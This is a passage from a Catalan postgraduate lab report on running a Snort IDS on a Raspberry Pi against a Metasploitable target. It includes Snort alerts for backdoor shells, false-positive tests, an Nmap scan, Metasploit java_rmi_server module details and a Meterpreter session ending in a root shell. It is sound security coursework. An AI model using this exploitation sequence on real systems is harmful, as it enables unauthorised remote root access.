[**] [1:10000005:0] UOC rogue shell [**]

[Priority: 0]

06/13-03:05:27.853257 192.168.0.40:1524 -> 192.168.0.20:38224

TCP TTL:64 TOS:0x0 ID:0 IpLen:20 DgmLen:60 DF

****A**S* Seq: 0x7DF43A30 Ack: 0x997E85A0 Win: 0x16A0 TcpLen: 40

TCP Options (5) => MSS: 1460 SackOK TS: 958639 2151958 NOP WS: 5

[**] [1:10000001:0] UOC backdoor SMILE [**]

[Priority: 0]

 $06/14\text{-}15\text{:}02\text{:}57\text{.}406831\ 192\text{.}168\text{.}0.20\text{:}45666 \text{-}> 192\text{.}168\text{.}0.40\text{:}21$

TCP TTL:64 TOS:0x10 ID:24791 IpLen:20 DgmLen:65 DF

AP Seq: 0xA52415BF Ack: 0x4C536F00 Win: 0x1D TcpLen: 32

TCP Options (3) => NOP NOP TS: 4836801 1919745

Figura 5.3: Fitxer de log i /etc/snort/rules de la Raspberry-Pi

UOC: Postgrau Seguretat en xarxes i sistemes

5.8. Us del serveis i falsas deteccions

Durant les proves també s'ha realitzat un us normal del sistema, s'ha accedit al MySQL com a root afegint el paràmetre -p per que sol·liciti el password i malgrat no estar configurat, per tant no poder-hi accedir, el sistema demana el password i no es genera la detecció.

L'accés mitjançant SMB als directoris compartits funciona de forma correcte sense generar cap tipus d'alerta, s'ha comprovat accedint amb una maquina amb sistema Windows 7 dins la mateixa xarxa.

Per últim, l'accés FTP ha permés accedir normalment, en aquest cas per comprovar falses deteccions des de un sistema Linux, s'ha creat un directori amb el nom USER_:) que ha generat una falsa detecció ja que aquesta és la regla que es segueix per la detecció, per tant no és del tot eficient, pel que fa a l'accés des de una màquina Windows, no és possible crear directoris ni fitxers que continguin signes de puntuació per tant des d'aquest sistema operatiu no es generen falses deteccions.

El us de rmi java no s'ha comprovat per falta de coneixements tècnics de com es pot utilitzar amb normalitat aquest sistema.

6. Conclusions i línies de treball futur

No s'han pogut assolir de forma total els objectius d'aquesta practica, ja que la comprovació de interferir amb les regles de Snort la normal utilització dels protocols vulnerables, no s'ha pogut comprovar en el 100% del casos. D'altra banda, amb el protocol FTP és possible obtenir falsos positius si s'utilitzen determinats noms de fitxers.

Pel que fa a la implementació del sistema IDS Snort, en un sistema de test, s'ha pogut du a terme sense cap problema, tot i ser implementat en un sistema embedded de baixes prestacions, com es el dispositiu Raspberry-Pi.

L'anàlisi del sistema vulnerable com a objectiu s'ha dut a terme de forma satisfactòria i s'han experimentat els anàlisis tant de forma automatitzada amb Nessus com de forma manual amb l'escaneig de ports amb Nmap. El fet d'analitzar manualment l'entorn ens ha aportat una visió realista del que ens podem trobar en un entorn real, on cal també aquest tipus d'anàlisi per trobar el màxim número de vulnerabilitats.

També s'ha pogut observar que amb un simple escaneig automatitzat d'un sistema, es poden obtenir un gran nombre de vulnerabilitats, i que amb la informació disponible a la xarxa es pot arribar a tenir el control total d'una màquina. Fet que posa de manifest la gran importància de tenir els sistemes actualitzats i ben configurats.

Pel que fa a les línies de treball futur, conéixer el rendiment d'aquest tipus de dispositius embedded per al seu us domestic i per poder-los implementar sense tenir grans coneixements tècnics, implementar les funcionalitats de supervisió de les alertes en un entorn web o aprofitar les sortides digitals GPIO per fer un control visual en cas d'alerta, en lloc d'utilitzar el fitxer de log.

10. Referencies

Exemple de HBIDS comercials

Verisys <u>http://www.ionx.co.uk/</u> Tripwire <u>http://www.tripwire.com/</u>

Exemple de IDS de sotfware lliure

arrm-ng http://www.acarm.wcss.wroc.pl/index.php?n=Main.Home AIED http://aide.sourceforge.net/ Bro NIDS http://www.bro.org/ OSSEC HIDS http://www.ossec.net/ Prelude Hybrid HIDS http://www.prelude-ids.com/index.php/uk/ Samhain http://la-samhna.de/samhain/ Snort http://www.snort.org/ Suricata http://suricata-ids.org/

Instal·lació modul wifi a la Raspberry-Pi

http://www.raspberrypi.org/phpBB3/viewtopic.php?t=55779

Software Nessus per Linux

http://www.tenable.com/products/nessus/select-your-operating-system#tos

Pàgina d'enllaç amb la descripció de la vulnerabilitat java-rmi

http://www.rapid7.com/db/modules/exploit/multi/misc/java rmi server

11. Annexe

S'adjunten com annexe totes les captures que poden ser d'interés per al seguiment del document però que no han estat necessàries per les explicacions dels procediments seguits al mateix.

A.1. Fitxer interfaces del dispositiu embedded Raspberry-Pi

# This :	This file describes the network interfaces available on your system				
	# and how to activate them. For more information, see interfaces(5).				
	# The loopback network interface				
	auto lo				
	iface lo inet loopback				
	# The primary network interface				
	allow-hotplug eth0				
	iface eth0 inet static				
	address 192.168.0.10				
	netmask 255.255.255.0				
	network 192.168.0.0				
	broadcast 192.168.0.255				
	# Xarxa WiFi				
	allow-hotplug wlan0				
	auto wlan0				
	iface wlan0 inet dhcp				
	wpa-ssid "el nostre ssid"				
	wpa-psk "el password de la xarxa wifi"				

A.2. Estat de les connexions amb les maquines virtuals i Raspberry-Pi



A.3. Instal·lació de Nessus

root@kali :~# dpkg -i Nessus-5.2.6-debian6_i386.deb Selecting previously unselected package nessus. (Reading database 334656 files and directories currently installed.) Unpacking nessus (from Nessus-5.2.6-debian6_i386.deb) Setting up nessus (5.2.6) nessusd (Nessus) 5.2.6 [build N25116] for Linux Copyright (C) 1998 - 2014 Tenable Network Security, Inc
Processing the Nessus plugins [##################################
All plugins loaded
- You can start nessusd by typing /etc/init.d/nessusd start - Then go to https://kali:8834/ to configure your scanner
Figura A3: Instal·lació de Nessus amb dpkg a la maquina atacant.

A.4. Captura de l'anàlisi de ports amb NMAP

root@kali:~# nmap -A -T4 192.168.0.40

Starting Nmap 6.40 (http://nmap.org) at 2014-04-04 17:43 CEST

Nmap scan report for 192.168.0.40

Host is up (0.00046s latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

[_ftp-anon: Anonymous FTP login allowed (FTP code 230)

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

| ssh-hostkey: 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)

[_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)

23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

L_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,

| ssl-cert: Subject: commonName=ubuntu804base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX

| Not valid before: 2010-03-17T14:07:45+00:00

_Not valid after: 2010-04-16T13:07:45+00:00

Lssl-date: 2014-04-04T15:46:04+00:00; +2m10s from local time.

53/tcp open domain ISC BIND 9.4.2

| dns-nsid:

_ bind.version: 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

Lhttp-methods: No Allow or Public header in OPTIONS response (status code 200)

_http-title: Metasploitable2 - Linux

111/tcp open rpcbind 2 (RPC #100000)

UOC: Postgrau Seguretat en xarxes i sistemes

| rpcinfo:

- | program version port/proto service
- | 100000 2 111/tcp rpcbind
- | 100000 2 111/udp rpcbind
- | 100003 2,3,4 2049/tcp nfs
- | 100003 2,3,4 2049/udp nfs
- 100005 1,2,3 52442/tcp mountd
- 100005 1,2,3 53365/udp mountd
- | 100021 1,3,4 44485/udp nlockmgr
- | 100021 1,3,4 59318/tcp nlockmgr
- | 100024 1 44001/udp status
- |_ 100024 1 52064/tcp status
- 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
- 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
- 512/tcp open exec netkit-rsh rexecd
- 513/tcp open login?
- 514/tcp open shell?
- 1099/tcp open rmiregistry GNU Classpath grmiregistry
- _rmi-dumpregistry: Registry listing failed (No return data received from server)
- 1524/tcp open shell Metasploitable root shell
- 2049/tcp open nfs 2-4 (RPC #100003)

| rpcinfo:

- | program version port/proto service
- | 100000 2 111/tcp rpcbind
- | 100000 2 111/udp rpcbind
- | 100003 2,3,4 2049/tcp nfs
- | 100003 2,3,4 2049/udp nfs
- 100005 1,2,3 52442/tcp mountd

100005 1,2,3 53365/udp mountd
100021 1,3,4 44485/udp nlockmgr
100021 1,3,4 59318/tcp nlockmgr
100024 1 44001/udp status
_ 100024 1 52064/tcp status
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
mysql-info: Protocol: 10
Version: 5.0.51a-3ubuntu5
Thread ID: 8
Some Capabilities: Connect with DB, Compress, SSL, Transactions, Secure Connection
Status: Autocommit
_Salt: 0WHBSYG7{+^zi!dVcn!T
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
vnc-info:
Protocol version: 3.3
Security types:
_ Unknown security type (33554432)
6000/tcp open X11 (access denied)
6667/tcp open irc Unreal ircd
irc-info:
server: irc.Metasploitable.LAN
version: Unreal3.2.8.1. irc.Metasploitable.LAN
servers: 1
users: 1
lservers: 0
lusers: 1

| uptime: 0 days, 0:28:31

source host: 91A6111C.F0D9233E.FFFA6D49.IP

|_ source ident: nmap

8009/tcp open ajp13 Apache Jserv (Protocol v1.3)

Lajp-methods: Failed to get a valid response for the OPTION request

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

_http-favicon: Apache Tomcat

Lhttp-methods: No Allow or Public header in OPTIONS response (status code 200)

_http-title: Apache Tomcat/5.5

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :

SF-Port514-TCP:V=6.40%I=7%D=4/4%Time=533ED32D%P=i686-pc-linux-gnu%r(NULL,3

SF:3,"\x01getnameinfo:\x20Temporary\x20failure\x20in\x20name\x20resolution

SF:\n");

MAC Address: 00:0C:29:95:44:69 (VMware)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.9 - 2.6.33

Network Distance: 1 hop

Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:

_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>

| smb-os-discovery:

| OS: Unix (Samba 3.0.20-Debian)

| NetBIOS computer name:

| Workgroup: WORKGROUP

|_ System time: 2014-04-04T11:46:04-04:00

TRACEROUTE

HOP RTT ADDRESS

1 0.46 ms 192.168.0.40

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 46.40 seconds

A.5. Informació del exploit java_rmi_server

msf> info exploit/multi/misc/java_rmi_server
Name: Java RMI Server Insecure Default Configuration Java Code Execution
Module: exploit/multi/misc/java_rmi_server
Platform: Java, Linux, OSX, Solaris, Windows
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Description:
This module takes advantage of the default configuration of the RMI
Registry and RMI Activation services, which allow loading classes
from any remote (HTTP) URL. As it invokes a method in the RMI
Distributed Garbage Collector which is available via every RMI
endpoint, it can be used against both rmiregistry and rmid, and
against most other (custom) RMI endpoints as well. Note that it does
not work against Java Management Extension (JMX) ports since those
do not support remote class loading, unless another RMI endpoint is
active in the same Java process. RMI method calls do not support or
require any sort of authentication.

A.6. Payload Meterpreter de l'explotació Java RMI

meterpreter > sysinfo
Computer : metasploitable
OS : Linux 2.6.24-16-server (i386)
Meterpreter : java/java
meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=0(root) gid=0(root)
ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:95:44:69
inet addr:192.168.0.40 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe95:4469/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:65770 errors:0 dropped:0 overruns:0 frame:0
TX packets:65713 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:4032826 (3.8 MB) TX bytes:3562127 (3.3 MB)
Interrupt:17 Base address:0x2000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:177 errors:0 dropped:0 overruns:0 frame:0
TX packets:177 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:60733 (59.3 KB) TX bytes:60733 (59.3 KB)
whoami
root